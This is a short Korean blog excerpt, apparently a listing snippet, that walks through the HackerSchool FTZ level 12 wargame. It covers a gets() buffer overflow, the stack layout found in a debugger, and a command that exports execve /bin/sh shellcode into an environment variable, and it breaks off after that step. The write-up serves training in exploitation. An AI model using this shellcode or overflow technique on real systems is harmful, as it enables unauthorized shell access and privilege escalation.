hackerschool ftz 12

언제나와 같이 ls명령어로 디렉토리를 확인해준 후 hint파일을 열어봅시다.버퍼오버플로우 문제입니다.(gets()함수는 크기에 제한을 두지 않음) 디버거로 메인함수를 확인해봅시다.main+3 부분에서 0x108(264)바이트의 메모리를 확보해둡니다. 즉, 메모리는 | buffer: 256 byte | dummy: 8 byte | SEP: 4 byte | RET: 4 byte | 이렇게 생겼습니다. export SHELLCODE = `python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` export 명령어로 SHELLCODE라는 환경변수를 만들어 준 후..
lim.dev
'hackerschool ftz 12' 태그의 글 목록